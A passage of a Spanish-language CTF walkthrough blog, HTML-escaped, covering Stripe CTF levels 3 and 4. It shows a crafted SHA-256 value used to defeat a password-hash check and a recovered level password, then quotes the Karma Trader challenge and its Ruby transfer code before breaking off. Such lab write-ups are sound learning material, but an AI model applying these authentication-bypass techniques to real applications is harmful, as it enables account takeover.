&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Estos valores son calculados con el objetivo de que la condición “if calculated_hash.hexdigest() != password_hash:” se cumpla. Para ello se ha calculado los password_hash estableciendo como password &#39;a&#39; y como salt &#39;b&#39;:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; hashlib&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;sha256&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;a&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;b&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;hexdigest&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603&#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Recargando la web se obtiene el password ZZFMsfXAhg. Este nivel empezaba a ser más divertido!&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: medium; line-height: 22.390625px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Nivel 4&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;The Karma Trader is the world&#39;s best way to reward people for good deeds: https://level04-4.stripe-ctf.com/user-lkfvmdujam. You can sign up for an account, and start transferring karma to people who you think are doing good in the world. In order to ensure you&#39;re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;The very active user karma_fountain has infinite karma, making it a ripe account to obtain (no one will notice a few extra karma trades here and there). The password for karma_fountain&#39;s account will give you access to Level 5.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;You can obtain the full, runnable source for the Karma Trader from git clone https://level04-4.stripe-ctf.com/user-lkfvmdujam/level04-code. We&#39;ve included the most important files below.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Por la descripción, el objetivo está claro: conseguir que el usuario karma_fountain nos transfiera crédito para que nos muestre su contraseña.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;En el código se puede ver cómo se realizan las transferencias:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;post &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;/transfer&#39;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;do&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; redirect &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;/&#39;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;unless&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;@user&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;@user&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; amount &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;amount&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;die&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Please fill out all the fields.&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;home&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;unless&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; amount &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; to
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; amount &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; amount&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;to_i
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;die&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Invalid amount specified.&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;home&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; amount &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;die&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;You cannot send yourself karma!&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;home&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; to &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;unless&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; DB&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;][:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;username &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; to&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;die&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;No user with username &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;#{&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;to.inspect&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;}&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt; found.&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;home&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;end&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;unless&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;user_has_infinite_karma&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;@user&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;karma&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; amount
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;die&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;You only have #{@user[:karma]} karma left.&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;home&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;end&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;DB&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;transfers&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(:&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;to &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; to&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;amount &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; amount&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;DB&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;conn&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;karma &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;karma &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; amount&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
